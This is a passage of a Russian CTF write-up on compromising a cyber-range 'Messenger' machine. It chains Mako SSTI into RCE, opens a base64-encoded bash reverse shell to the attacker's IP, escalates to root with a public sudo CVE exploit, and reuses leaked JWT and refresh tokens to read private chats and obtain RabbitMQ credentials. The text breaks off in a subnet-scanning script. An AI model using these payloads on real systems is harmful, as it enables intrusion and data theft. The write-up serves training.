СОДЕРЖАНИЕ

Эта статья рассчитана как на людей, близких к IT и ИБ, так и на тех, кто далек от этих областей. Автор (Seven11eleven, студент, разработчик, независимый исследователь безопасности, занимающийся багбаунти 3 года, игрок CTF команды ctf_enjoyers и специалист по наступательной безопасности) постарался подробно разобрать каждый шаг: почему было принято то или иное решение, на какие признаки он опирался и где искать дополнительную информацию по теме.

Итак, в статье взламываем уязвимую машину Messenger, а точнее — проводим эксплуатацию цепочки из двух базовых уязвимостей и реализацию двух бизнес-рисков: «Получение доступа к корпоративной переписке разработчиков городского мессенджера» и «Получение ключа шифрования городского мессенджера».

Статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных действий. Наша цель — рассказать о существующих уязвимостях, тактиках и техниках, которыми могут воспользоваться злоумышленники, и дать рекомендации по защите. Авторы не несут ответственности за использование кем-то информации из статьи.

Этап первый. Разведка, сбор данных о приложении

Практически любой пентест (тестирование на проникновение) начинается с разведки (Reconnaissance в терминологии пентеста) — сбора первичных данных о системе для анализа и дальнейших действий.

Такими данными нам могут послужить, к примеру, существующие и рабочие поддомены, открытые порты, публичные документации API, JavaScript-бандлы, версии используемых сервисов, адреса электронной почты, имена пользователей, телефонные номера и прочие данные, которые могут быть учетными, — все это в теории может определить вектор атаки.

Просканировав сеть инструментом nmap, понимаем, что перед нами простой хост для двух веб-приложений, с открытыми HTTP-портами 80 и 3000.

PORT STATE SERVICEVERSION
22/tcp   open  ssh        OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http       nginx 1.29.2
3000/tcp open  tcpwrapped

На 80-м порту оказывается самописное веб-приложение — тот самый корпоративный мессенджер, который нам и предстоит взломать, а на 3000-м порту оказалась легковесная опенсорсная платформа Gitness/Harness, которая совмещает в себе хостинг Git-репозиториев, которые нужны для хранения исходного кода приложений, и движок автоматизации CI/CD-пайплайнов.

Так как перед нами самописное веб-приложение, скорее всего, никаких CVE (общеизвестных уязвимостей) здесь не будет — нужно анализировать поведение приложения и искать уязвимости самостоятельно. Но не факт: в ходе анализа можно обнаружить уязвимую версию библиотеки или какого-то инструмента, используемого на стороне сервера, которую нам не видно.

Далее выполняем перебор директорий и файлов. Зачем? Чтобы найти скрытые эндпойнты, забытые API-документации, а в случае, если веб-сервер настроен неправильно, то, может быть, и чувствительные файлы, такие как файлы конфигураций или даже исходный код приложений.

Профаззив директории веб-приложения на 80-м порту с помощью ffuf, мы нашли Swagger-документацию, в которой описаны все эндпойнты API. Благодаря ей мы можем увидеть больше информации про устройство бэкенд-части приложения.

ffuf -c -w ~/pentesting/wordlists/directory-fuzzing.txt -u http://messenger.standalone.stf/api/FUZZ -fw 158

 v1.0.2
 ________________________________________________

 :: Method : GET
 :: URL : http://messenger.standalone.stf/api/FUZZ
 :: Follow redirects : false
 :: Calibration : false
 :: Timeout : 10
 :: Threads : 40
 :: Matcher : Response status: 200,204,301,302,307,401,403
 :: Filter : Response words: 158
 ________________________________________________

 openapi.json [Status: 200, Size: 10042, Words: 111, Lines: 1]
 redoc [Status: 200, Size: 892, Words: 176, Lines: 31]
 swagger [Status: 200, Size: 935, Words: 150, Lines: 31]

Имеется аутентификация с использованием JWT. Все эндпойнты приложения защищены JWT, поэтому сперва создаем новый аккаунт и логинимся под его учетными данными.

Название: swagga - описание: swagger-docs
swagger-docs

Этап второй. Анализ приложения на уязвимости

Войдя в приложение, вручную проверяем всю функциональность, которая может быть уязвима.

Зная, что в роли бэкенда выступает приложение, написанное на Python с использованием фреймворка FastAPI, можем предположить, что уязвимость кроется на стороне сервера и может привести к атаке типа RCE (Remote Code Execution).

В приложении имеется функциональность поиска и добавления друзей. Тут кроется первая мини-уязвимость, которая сама по себе не несет особо крупного импакта, но нам она просто помогла: мы узнали с ее помощью валидные никнеймы, по которым теперь можем искать и добавлять пользователей в друзья.

Эту находку в целом, наверное, можно классифицировать как перебор пользователей (User Enumeration), так как благодаря ей мы узнали, как вообще выглядят другие логины, и заодно получили тот, что необходим для первого бизнес-риска, — eka.balashova.

Название: user-enum - описание: mini-"vuln"
«Мини-vuln»

После добавления в друзья пользователя с никнеймом dar.chernousova нам открывается новая функциональность в настройках профиля — friendship summary. В ранее найденной Swagger-документации эта функциональность была описана как «Get Friendships Html Table Api View», что может намекать на то, что Python-приложение на лету собирает HTML, используя шаблонизаторы вроде Jinja2, так как все другие эндпойнты возвращали нам исключительно JSON-ответы.

(Забавный момент: пройдя эту машину дважды, я только на повторном решении осознал, что friendship summary работает даже с 0 друзей — то есть создавать лишние аккаунты вообще не требовалось. И такое бывает :D)

Тестируем эту функциональность — и вправду, нам вернулся .txt (HTML), а не .application (JSON)!

<div style="width: 500px;"
 class="pb-4 dark:!bg-navy-800 shadow-shadow-500 shadow-3xl rounded-primary relative mx-auto flex h-full w-full max-w-[550px] flex-col items-center bg-cover bg-clip-border dark:text-white dark:shadow-none">
   <div class="relative mt-1 flex h-32 w-full justify-center rounded-xl bg-cover"
    style='background-image: url("/profile_banner.png");'>
 <div
     class="absolute -bottom-12 flex h-[88px] w-[88px] items-center justify-center rounded-full border-[4px] border-white bg-pink-400">
   <img class="h-full w-full rounded-full" src="https://ui-avatars.com/api/?size=64&amp;name=SevenEleven&amp;font-size=0.33&amp;background=985aff&amp;rounded=true" alt=""/>
 </div>
   </div>
   <div class="mt-16 flex flex-col items-center">
 <h4 class="text-bluePrimary text-xl font-bold"> </h4>
 <p class="text-lightSecondary text-base font-mono">SevenEleven</p>
   </div>

 </div>

 <div class="border-t-1 pt-3 border-gray-300 text-xl pb-4" style="">
   Friends: 2
 </div>
 <ul role="list">
   <li v-for="" class="flex py-4 first:pt-0 last:pb-0">
 <img class="h-10 w-10 rounded-full" src="https://ui-avatars.com/api/?size=64&name=admin&font-size=0.33&background=random&rounded=true" alt="avatar" />
 <div class="ml-3 overflow-hidden">
   <p class="text-sm font-medium text-gray-900 dark:text-white">admin</p>
   <p class="truncate text-sm text-gray-500 dark:text-gray-400">X Y</p>
 </div>
   </li>
   <li v-for="" class="flex py-4 first:pt-0 last:pb-0">
 <img class="h-10 w-10 rounded-full" src="https://ui-avatars.com/api/?size=64&name=dar.chernousova&font-size=0.33&background=random&rounded=true" alt="avatar" />
 <div class="ml-3 overflow-hidden">
   <p class="text-sm font-medium text-gray-900 dark:text-white">dar.chernousova</p>
   <p class="truncate text-sm text-gray-500 dark:text-gray-400">Darya Chernousova</p>
 </div>
   </li>
 </ul>


Название: friendships - описание: friendships

Нам вернулся HTML, отрендеренный на серверной стороне, а не на фронтенде, так как мы можем увидеть Vue.js-директиву v-for прямо в разметке, причем с пустым значением v-for="". В идеале эта директива должна обрабатываться Vue.js в браузере клиента для генерации списков, а бэкенд, в свою очередь, должен лишь возвращать данные, а не заниматься рендерингом, чтобы фронтенд сам распарсил данные и красиво их предоставил пользователю.

Мини-ликбез: Server-Side Template Injection (SSTI)

Учитывая, что бэкенд написан на Python, выдвигаем гипотезу, что в нем используется шаблонизатор (например, популярный Jinja2 или Mako), а шаблонизаторы такого рода часто становятся источником уязвимости, связанной с внедрением шаблонов на стороне сервера (Server-Side Template Injection).

Если пользовательский ввод попадает в шаблон без должной фильтрации и экранирования до компиляции самого шаблона, сервер интерпретирует управляющие конструкции шаблонизатора ({{ ... }} или {% ... %}) как код и исполняет их, что в конечном счете может привести к RCE и полной компрометации сервера.

Для проверки нашей гипотезы нам нужно доставить полезную нагрузку {{7*7}} до шаблона. Судя по тому, как выглядит HTML, у нас есть две входные точки — наше имя пользователя и имя кого-то из наших друзей.

Чтобы проверить это, мы создаем новый аккаунт, в никнейме и в Ф. И. О. которого будет наша нагрузка {{7*7}}. После этого добавляем этот профиль в друзья и повторно запрашиваем HTML.

К сожалению, эта точка ввода не сработала, но у нас есть еще никнейм!

Название: notsuccess - описание: {{7*7}} не превратился в 49
{{7*7}} не превратился в 49

От нового пользователя пытаемся запросить HTML, и хотя, к сожалению, нагрузка не сработала, это еще не значит, что тут есть защита от SSTI, — вероятнее всего, используется другой шаблонизатор.

Название: notsucces2 - описание: Повторно не сработало
Повторно не сработало
Название: remote-medium - описание: Схема определения используемого шаблонизатора
Схема определения шаблонизатора

Чтобы определить используемый шаблонизатор, чаще всего используют отправку характерных выражений, специфичных для разных движков.

Мы попробовали {{7*7}}, далее попробуем ${7*7} — повторяем те же шаги с новой нагрузкой. В этот раз получилось: ${7*7} вычислилось сервером и превратилось в результат умножения 7 — в 49!

Название: SUCCESS - описание: 7*7=49, 7*8=56, ez math
77=49, 78=56, ez math

Этап третий. Эксплуатация найденной уязвимости — от SSTI до выполнения произвольного кода

Вместо арифметики попробуем внедрить код. Вообще для Mako существует множество опубликованных техник достижения RCE. В данном случае приложение не фильтрует ввод пользователя, поэтому стандартный пейлоад оказался достаточным:

${self.module.cache.util.os.popen('whoami').read()}

Python-разработчики, скорее всего, уже поняли, что тут происходит, но если коротко, Python предоставляет механизм импорта модулей, благодаря которому можно использовать как модули стандартной библиотеки, так и сторонние библиотеки, если они доступны в текущей области видимости.

Мини-ликбез: использование Python для выполнения кода

В стандартной библиотеке Python существует модуль os, предоставляющий интерфейс для взаимодействия с операционной системой. Аналогичные библиотеки или API существуют и во многих других языках программирования. Через этот модуль можно вызвать функции os.system() и os.popen(), которые запускают переданную строку как команду ОС. Разница в том, что system() лишь выполняет команду и возвращает код ее завершения, а popen() возвращает файловый объект, который позволяет читать стандартный вывод через метод .read().

То есть, если у нас есть возможность выполнять произвольный Python-код, достаточно написать import os; os.system('whoami'), чтобы Python выполнил команду ОС whoami.

В нашем случае такой доступ у нас есть — как раз благодаря SSTI-уязвимости, найденной нами ранее. Mako использует Python в качестве языка шаблонов, поэтому выражения внутри конструкции ${...} являются обычными Python-выражениями и выполняются при рендере шаблона.

К сожалению, в Mako нельзя напрямую импортировать модули, но мы можем воспользоваться чужим импортом. Объект self позволяет нам получить доступ к внутренним объектам скомпилированного шаблона, а благодаря цепочке self.module.cache.util мы можем добраться до импортированного модуля os, через который мы и сможем вызвать os.popen("whoami"), тем самым выполнив RCE.

Создаем пользователя с юзернеймом

${self.module.cache.util.os.popen('whoami').read()} и Ф. И. О. ${self.module.cache.util.os.popen('ls').read()} и ${self.module.cache.util.os.popen('id').read()} соответственно.

Логинимся, запрашиваем HTML и мы получили вывод этих команд!

Название: successrce - описание: RCE confirmed!
Название: successrce - описание: RCE confirmed!

RCE confirmed!

uid=1000(app) gid=1001(app) groups=1001(app)
 CVE-2025-32463 README.md_pycache_app d.out data.db e1.out e1a.out index.html index.html.1 main.py p.out pg.err pyproject.toml r.out sudo.tar.gz tyagi.elf uv.lock venv
 app

Мы подтвердили наличие уязвимости SSTI и возможность докрутить ее до RCE.

На этом этапе нам надо получить первичный доступ к системе. C RCE-уязвимостью это сделать достаточно легко — воспользуемся методом reverse shell.

Мини-ликбез: первоначальный доступ, виды шеллов, создание реверс-шелла

Используем онлайн-сервис, который на лету собирает необходимый нам пейлоад по нашим данным, — revshells.com.

Суть этого метода заключается в том, что уязвимая машина сама инициирует соединение с нашим IP-адресом и портом.

Помимо реверс-шелла, существует еще два вида шеллов:

  1. Bind shell (прямой) — если reverse сам инициирует соединение, то bind открывает порт на машине жертвы и хакер должен подключиться к ней по этому порту.

  2. Web shell — это вредоносный скрипт (обычно на PHP, ASPX, Python, JS), который загружается в веб-директорию сайта. Обычно скрипт короткий и, по сути, просто реализует одну функцию — выполнение кода и вывод на веб-страницу. После загрузки скрипта управление сервером происходит через обычный браузер или HTTP-запросы, к примеру GET https://messenger.standalone.stf:80/webshell.php?command=ls; сервер, скорее всего, не проверит, что файл webshell.php не задуман изначально и что он появился в ходе атаки, поэтому он просто исполнит код.

Я выбрал реверс-шелл, потому что в условиях полигона такой вариант проще: не требуется открывать входящий порт на устройстве жертвы, пробрасывать его наружу и молиться, чтобы файрвол не заблокировал трафик.

На практике reverse shell также оказывается удобнее обычного bind shell.

Поскольку наша машина подключена к той же виртуальной сети, что и уязвимая (так как мы подключены через VPN к киберполигону), мы можем принять входящее соединение прямо на своем устройстве, не поднимая для этого отдельный внешний сервер с белым IP-адресом.

В отдельном терминале запускаем утилиту командной строки для работы с TCP/UDP-соединениями напрямую, без написания кода — nc -nvlp 1337. Это заставит нашу машину слушать входящие подключения на порту 1337 и выводить подробную информацию о каждом соединении.

Чтобы уязвимое устройство знало, куда именно ему нужно отправлять соединение, нам нужен наш собственный IP-адрес внутри этой виртуальной сети. Смотрим его командой ip a — она выведет вообще все сетевые интерфейсы. Нам нужен интерфейс tun0. Это интерфейс VPN-туннеля, через который мы и подключены к полигону, — именно этот IP-адрес виден уязвимой машине.

На сайте вводим свои данные, IP-адрес и порт, на котором будет прослушивание (в нашем случае это 10.127.192.29 и 1337 соответственно), указываем ОС — Linux, выбираем кодирование в Base64 (так как у полезной нагрузки для реверс-шелла имеется много управляющих символов, которые могут сломать ввод и вывод). У нас получилась такая строка:

c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTI3LjE5Mi4yOS8xMzM3IDA+JjE=

Название: revshell - описание: revshell
Мини-ликбез: механизм pipes в Linux и сборка команды для RCE

Имея эту строку, соберем пейлоад, который декодирует нашу строку в исходный вид и передаст ее на выполнение командной оболочке. Для этого воспользуемся встроенным механизмом shell — каналами (pipes):

Команда echo "c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTI3LjE5Mi4yOS8xMzM3IDA+JjE=" | base64 -d | bash

echo выводит переданную ему строку в stdout. Символ | передает этот вывод на stdin следующей команды. Таким образом, наш echo сперва отправляет нашу закодированную строку в base64 -d, он, в свою очередь, декодирует строку, а полученный результат передается в bash для выполнения.

Эту команду ОС нам нужно запаковать в наш пейлоад SSTI. Получится следующее:

 ${self.module.cache.util.os.popen('echo "c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTI3LjE5Mi4yOS8xMzM3IDA+JjE=" | base64 -d | bash ').read()}

Проверяем в действии, повторяем все действия для SSTI и получаем реверс-шелл!

Название: grubo-govorya - описание: примерно так выглядит процесс и "инфра"
Примерно так выглядит процесс и «инфра»
nc -nvlp 1337
 Ncat: Version 7.92 ( https://nmap.org/ncat )
 Ncat: Listening on :::1337
 Ncat: Listening on 0.0.0.0:1337
 Ncat: Connection from 10.124.249.19.
 Ncat: Connection from 10.124.249.19:44056.
 sh: 0: can't access tty; job control turned off
 $ whoami
 app
 $ id
 uid=1000(app) gid=1001(app) groups=1001(app)
 $ ls
 ...
 venv
 $

Забираем первый флаг за базовую уязвимость, приводящую к удаленному выполнению кода.

$ /home/rceflag
 2b-скрыто-скрыто...
 $

Этап четвертый. Анализируем окружение, повышаем права

Мы получили первичный доступ (Initial Access), у нас есть удаленный доступ к серверу — теперь требуется собрать больше информации, чтобы предпринимать следующие действия.

Получаем список файлов в текущей директории, обнаруживаем интересный архив под названием sudo.tar.gz, разархивируем его и видим, что это утилита sudo версии, уязвимой для CVE-2025-32463.

Вкратце: CVE-2025-32463 — это уязвимость для Local Privilege Escalation, с помощью которой можно поднять права до root, используя баг в sudo. Подробнее об уязвимости можно почитать в статье.

Мини-ликбез: Privilege Escalation

Privilege Escalation (в простонародье LPE) — это этап пентеста, при котором атакующий ищет способ повысить свои права. Чаще всего он целится на права root (в *nix-системах) или SYSTEM (в Windows), потому что обычно это означает полный захват системы. Способов повысить свои права миллион. Самые частые:

  1. Поиск паролей, ключей, учеток, у которых права выше, чем у тебя. Может быть, где-то переиспользовался пароль, или же политика паролей слабая и можно просто подобрать все возможные варианты.

  2. Эксплуатация уязвимостей в запущенных от имени привилегированного пользователя процессах. У каждого процесса в ОС есть пользователь — тот, кто запустил этот процесс и чьи права унаследует процесс. Если root от своего имени запустит приложение, которое способно выполнять любые команды ОС под какой угодно учетной записью, то атакующий может от имени root производить любые действия.

  3. Эксплуатация привилегий текущего пользователя. В ОС у пользователей обычно есть права: к примеру, право на чтение из определенной директории определенных файлов, право на изменение файлов или на исполнение бинарных файлов от sudo без пароля. Есть даже готовый список таких бинарных файлов, утилит, которые могут «легально» дать права root, если у текущего пользователя есть право на исполнение от sudo бинарного файла без предоставления пароля. Этот список называется GTFOBins.

  4. Эксплуатация уязвимостей ядра, системных сервисов или драйверов. Самый технически трудный, но самый разрушительный вектор. Ядро и его драйверы по умолчанию работают на самом глубоком уровне системы с максимальными привилегиями. Ошибка в коде ядра позволит атакующему выполнить свой код в контексте ядра, сразу заполучив root или SYSTEM. Или баги в системных сервисах, которые, как правило, уже предустановлены на большинстве ОС и имеют по дефолту высокие права. Уязвимости в таком ПО также могут привести к получению прав root.

В нашем случае используем уязвимость в системном сервисе — sudo. Пользуемся готовым PoC из GitHub, чтобы доставить этот эксплойт с помощью установленного на устройстве git:

git clone https://github.com/kh4sh3i/CVE-2025-32463
 Cloning into 'CVE-2025-32463'...
 ls
 CVE-2025-32463
 cd CVE-2025-32463
 ls
 LICENSE README.md exploit.sh  img
 ./exploit.sh
 /bin/sh: 27: ./exploit.sh: Permission denied
 chmod +x exploit.sh
 ./exploit.sh
 woot!
 root@723cd983ae7e:/# whoami
 root

Мы получили root-права на хосте — можем получить флаг за «Локальное повышение привилегий (LPE)».

cat /root/flags/lpe/lpe.flag
 b41b93c0-abe9-4f88-8bf9-c6d5ad75b5f6
 root@723cd983ae7e

Этап пятый. Захват соседнего сервиса Gitness и сбор данных

Исследуя систему дальше, обнаруживаем в директории /root файл gitness, вспоминаем, что на 3000-м порту был сервис с таким же названием. Содержимое файла:

dev1 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJHaXRuZXNzIiwiaWF0IjoxNzYwMjgxMDQyLCJwaWQiOjUsInRrbiI6eyJ0eXAiOiJwYXQiLCJpZCI6OH19.xnoCYApej_Sk_9-3LLnJuH9xh2byxO4V7PornIVwUr4 standoff12

По всей видимости, это JWT от Gitness. Если он рабочий, мы сможем выдать себя за dev1. Попробовав им воспользоваться из интернета, узнаем, что Gitness держит токен в куки token.

Заходим на http://messenger.standalone.stf:3000/, в консоли браузера вводим команду:

document.cookie="token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJHaXRuZXNzIiwiaWF0IjoxNzYwMjgxMDQyLCJwaWQiOjUsInRrbiI6eyJ0eXAiOiJwYXQiLCJpZCI6OH19.xnoCYApej_Sk_9-3LLnJuH9xh2byxO4V7PornIVwUr4; path=/; domain=messenger.standalone.stf";

Эта команда создаст куки token с содержимым JWT для домена messenger.standalone.stf.

Обновляем страницу и видим проекты, которые нам доступны под учеткой пользователя dev1. Можем увидеть уязвимое приложение (template-service), которое мы уже успешно взломали. Там лежит исходный код, где и подтверждается наш вектор — SSTI и CVE-2025-32463, которая «не влияет на функциональность», но которую исправят в следующем патче.

Но самое интересное — это старые коммиты.

Всего коммитов три, и самый важный — это первый коммит, где произошла утечка .env-файла от dev-среды и который в себе содержал refresh-токен:

REFRESH_TOKEN=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIyIiwidHlwZSI6InJlZnJlc2giLCJpYXQiOjE3NjAyNzEyNzAsImV4cCI6MjUzNzg3MTI3MH0.TQXLbiv2NdvkonvWs5s3d3ULuD08Uq8SJ60nOJZ4-gE.
pu-pu-pu...
pu-pu-pu...
Мини-ликбез: этапы разработки программного обеспечения

В современной разработке приложений часто задействуют разные среды для разных этапов разработки. Самые часто используемые:

  1. Dev — в ней работают только разработчики, создают новую функциональность; если что-то сломается — ничего страшного, никаких рисков.

  2. Test — в ней рабочий сервис тестируют QA и безопасники.

  3. Production — это уже среда, которой пользуются реальные пользователи. Например, Хабр, где вы читаете этот текст, тоже работает на «проде».

Название: dev-stage-td-converted - описание: пример окружений
Пример окружений

Обычно на dev-среде и на prod-среде разные переменные окружения, ключи, пароли для безопасности, но порой разработчики могут забыть поменять их и оставить в продакшене переменные другого окружения. В нашем случае мы получили refresh-токен от dev-среды, который почему-то оказался рабочим и в продакшене.

Мини-ликбез: аутентификация на основе токенов (JWT, refresh, access)

В современной аутентификации часто используют два токена: refresh (долгоживущий) и access (короткоживущий). Refresh живет днями и неделями; он необходим для того, чтобы пользователь мог без постоянных логинов получить новый access-токен и дальше пользоваться сайтом. Если говорить упрощенно, то логика такая:

  1. Пользователь заходит на сайт. Фронтенд отправляет запрос на условный http://messenger.standalone.stf/profile с access-токеном, который остался еще с прошлой активной сессии.

  2. Если код ответа был 401 (Unauthorized), то на http://messenger.standalone.stf/api/v1/auth/refresh отправляется запрос с refresh-токеном.

  3. Если refresh-токен еще не истек, то пользователю возвращается access-токен; если refresh-токен был отозван или истек, то придется входить по логину и паролю.

Название: bruh - описание: упрощённо, примерно так и выглядит...
Упрощенно примерно так все это выглядит

В таком случае, если хакер заполучит access-токен, то он сможет пользоваться им лишь ограниченное время (к примеру, 15–30 минут), — окно для атаки маленькое.

Но если хакер заполучит чужой refresh-токен, то он сможет генерировать такие access-токены бесконечно (пока не истечет или не будет отозван refresh-токен!), тем самым продлевая себе окно для атаки на недели и месяцы. В таком случае единственный способ остановить атаку — отозвать токен.

Этап шестой. Реализация бизнес-риска «Получение доступа к корпоративной переписке разработчиков городского мессенджера»

Описание

Получите доступ к переписке с Ekaterina Balashova.

Флаг расположен в ней.

Вернемся от теории к практике. У нас на руках есть JWT, и, чтобы проверить, что он рабочий, можем просто отправить любой запрос, требующий аутентификации с этим JWT. Я решил найти пользователя Ekaterina Balashova, т. к. наш первый бизнес-риск связан именно с ней.

Отправляем такой запрос в терминале:

curl  'http://messenger.standalone.stf/api/v1/friendships/search?search=eka.balashova' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIyIiwidHlwZSI6InJlZnJlc2giLCJpYXQiOjE3NjAyNzEyNzAsImV4cCI6MjUzNzg3MTI3MH0.TQXLbiv2NdvkonvWs5s3d3ULuD08Uq8SJ60nOJZ4-gE'| jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 98 100 98 0 0 652 0 --:--:-- --:--:-- --:--:-- 653
[
   {
	    "id": 6,
	    "type": "user",
	    "username": "eka.balashova",
	    "firstName": "Ekaterina",
	    "lastName": "Balashova"
   }
]
jq — полезная штука
jq — полезная штука

Видим, что токен абсолютно рабочий и в prod-среде. Перейдем непосредственно к реализации бизнес-риска, в описании которого сказано, что мы должны получить переписку Екатерины. В ранее найденной нами Swagger-документации был эндпойнт, который по ID чата возвращал историю переписки.

/api/v1/chats/{chat_id}/lastMessages - Get Last Messages Api View

Я решил отправить этот запрос, только подставив вместо chat_id 6 ID Екатерины. Получилась такая команда:

curl -X 'GET' \
  'http://messenger.standalone.stf/api/v1/chats/6/lastMessages?limit=100&withUnread=true' \
  -H 'accept: application/json' -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIyIiwidHlwZSI6InJlZnJlc2giLCJpYXQiOjE3NjAyNzEyNzAsImV4cCI6MjUzNzg3MTI3MH0.TQXLbiv2NdvkonvWs5s3d3ULuD08Uq8SJ60nOJZ4-gE' | jq

И это сработало — мы заполучили переписку с Екатериной, где и находился флаг!

[
   {
 "type": "message",
 "status": "stored",
 "message": "Full administrative access to our RabbitMQ instance. The rabbitmq.user=rabbitTest and rabbitmq.password=26aff89e-833e-4943-aff8-9e833ee943b3 fields are in plaintext. The credentials for the management UI are compromised.",
 "recipientId": 6,
 "senderId": 2,
 "createdAt": 1758051920000
   },
  <вырезано>...
   {
 "type": "message",
 "status": "stored",
 "message": "I found the note in the incident draft: тут-флаг-я-скрыл;)",
 "recipientId": 2,
 "senderId": 6,
 "createdAt": 1774024073727
   }
 ]
Название: flag! - описание: flag!
Flag!

Этап седьмой. Реализация бизнес-риска «Получение ключа шифрования городского мессенджера»

Описание

Используя ранее полученные секреты, добудьте ключ шифрования мессенджера из переменных окружения приложения.

Флаг расположен в переменной FLAG.

Вообще-то в этой переписке есть достаточно важные данные: в ней раскрываются логин и пароль (rabbitTest:26aff89e-833e-4943-aff8-9e833ee943b3) от RabbitMQ.

Мини-ликбез: брокеры сообщений, очереди задач, шины данных — зачем нужны и что это значит на примере RabbitMQ, Celery и Redis

RabbitMQ — это брокер сообщений. Если по-простому, это сервис, который позволяет разным сервисам обмениваться сообщениями. Он может принимать сообщения от одного сервиса — такой сервис называют producer (производитель), — а потом складывает их в очередь. Грубо говоря, это список задач, которые RabbitMQ обязуется выполнить: к примеру, передать сообщение от такого-то производителя подписчикам на эту очередь (в терминологии продукта — consumer).

Примерно так выглядит RabbitMQ (Источник: https://dev.to/dazevedo/rabbitmq-using-it-with-microservices-5d58)
Примерно так выглядит RabbitMQ (Источник: https://dev.to/dazevedo/rabbitmq-using-it-with-microservices-5d58)

Что это нам дает?

Ранее мы обнаружили в Gitness репозиторий c именем yet-another-celery. Celery — это асинхронная распределенная очередь задач, реализованная в виде библиотеки для Python, которая позволяет обрабатывать на фоне какие-то трудные и тяжелые запросы. К примеру, когда вы загружаете на сайт какой-нибудь большой файл, а он еще проходит через много разных обработок, то, чтобы вы не сидели и не ждали, внутри одного запроса все эти операции используют такие технологии, как очереди сообщений и брокеры сообщений.

Проанализировав код в этом репозитории, мы обнаруживаем в файле app/tasks.py Celery-задачу, которая поможет нам в реализации бизнес-риска «Получение ключа шифрования городского мессенджера», где нужно получить флаг из переменных окружения:

@shared_task(ignore_result=True, max_retries=0)
 def send_environment_variables_to_chat(sender_id: int, chat_id: int):
 envs_verbose = "\n".join(f"{k}={v}" for k, v in os.environ.items())
 message = MessageResponseSchema(
     senderId=sender_id,
     recipientId=chat_id,
     message=envs_verbose,
     status="new",
     type="message",
     createdAt=int(datetime.now().timestamp() * 1000),
 )
 send_message_to_chat(message, chat_id)

Видим, что код собирает все переменные окружения и по итогу все их отправляет в виде простого сообщения в указанный chat_id.

Из app/services.py мы видим, как реализована функция send_message_to_chat():

from redis import ConnectionPool, Redis, RedisError

from app.schemas import MessageResponseSchema
from app.settings import settings

pool = ConnectionPool.from_url(
    settings.broadcast_redis_url,
    max_connections=settings.broadcast_redis_max_connections,
)
redis = Redis(connection_pool=pool)


def send_message_to_chat(message: MessageResponseSchema, chat_id: int):
    try:
        redis.publish(str(chat_id), message.model_dump_json(by_alias=True))
    except RedisError as e:
        print(e)

Получается, само сообщение с флагом летит в указанный канал внутри Redis.

Redis — это еще одна технология, которая на самом деле объединяет в себе очень много разных функций, но в нашем случае она используется как шина данных по модели Pub/Sub: кто-то публикует, кто-то подписан и мгновенно в реальном времени видит новые сообщения, попадающие в канал (которым, кстати, является chat_id).

Что это значит? Что мы должны были каким-то образом стриггерить Celery, чтобы он выполнил задачу send_message_to_chat, а мы в это время были подписаны на тот же канал в Redis, что и Celery использует как аргумент в send_message_to_chat.

Название: tipatak - описание: в идеале оно выглядит как-то так, но кажется у main-app нет взаимодействия с RabbitMQ
В идеале оно выглядит как-то так, но кажется у main-app нет взаимодействия с RabbitMQ

Итого у нас есть учетные данные от RabbitMQ. В переписке с Екатериной упоминалось, что есть web-UI для менеджмента RabbitMQ (дефолтный порт для web-UI — 15672); получается, нам надо найти этот web-UI. Чтобы это сделать, достаточно просканировать Docker-подсеть.

Мини-ликбез: что такое Docker и что это нам дает

Как оказалось в ходе исследования, приложения действительно находятся в Docker, то есть в контейнерах. Мы это узнали по файлу .dockerenv в корневой директории — это один из стандартных признаков. Еще один надежный способ проверить – посмотреть /proc/1/cgroup: если там есть строки с docker, значит, мы точно внутри контейнера.

Docker — это технология контейнеризации. Если совсем грубо, то это способ запаковать приложение со всеми его зависимостями (библиотеки, конфигурационные файлы, окружение) в единый контейнер, который будет работать одинаково на любой машине с совместимым ядром. То есть контейнер — это не настоящий компьютер со своим ядром, а, по сути, изолированный процесс на настоящей хост-машине, где крутится все.

Контейнеры изолированы друг от друга и от хост-машины. Это все нам нужно знать, чтобы понимать: раз уж мы захватили контейнер, это еще не значит, что мы полностью взломали всю инфру. Даже если мы возьмем root в контейнере, нет гарантии, что мы сможем попасть на настоящий компьютер и захватить его (что, впрочем, и произошло в этой тачке: мы дальше Docker не вышли).

Тема с Docker escape очень обширна, но вкратце — это способ выбраться из изолированной среды на настоящий компьютер, который, в свою очередь, может видеть больше сетей и другие компьютеры и хранить важные конфиденциальные данные.

Стоит понимать, что если мы попали в Docker-контейнер, то, вероятнее всего, он не будет видеть никаких хостов, кроме тех, что находятся в Docker-сети, так что надо сканировать соседние хосты.

Docker создает виртуальные сети. Каждый контейнер получает свой внутренний IP-адрес в подсети, а хост выступает шлюзом. Именно поэтому мы ищем соседей внутри подсети, а не на localhost/127.0.0.1.

Этап 7.1. Анализ сети: поиск RabbitMQ

В нашем случае подсеть — 172.22.2.0/24: в /etc/hosts указан IP 172.22.2.2, а Docker-шлюз на 172.22.2.1.

Используем эту подсеть мы для того, чтобы найти контейнеры, которые привязаны к другим IP-адресам, которые Docker сам автоматически закрепил за другими хостами. Именно на тех контейнерах будут запущены остальные сервисы: базы данных, другие веб-приложения, Redis и так далее.

Если бы это был не контейнер, а реальный компьютер или VM, то мы сканировали бы либо localhost, либо внутреннюю подсеть (что-то типа 10.10.x.x/24), чтобы найти новые хосты или сервисы.

Название: chtototipatakogo - описание: вообще вся "инфра" выглядит примерно так
Вообще вся «инфра» выглядит примерно так

Используем такой скрипт на Python, чтобы найти живые хосты и порт 15672 на них:

python3 -c "
import socket
from concurrent.futures import ThreadPoolExecutor

import subprocess
try:
ip_data = subprocess.getoutput('hostname -I').split()
base_net = '.'.join(ip_data[0].split('.')[:3]) + '.'
except:
base_net = '172.22.2.'

port = 15672

def check_ip(ip):
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
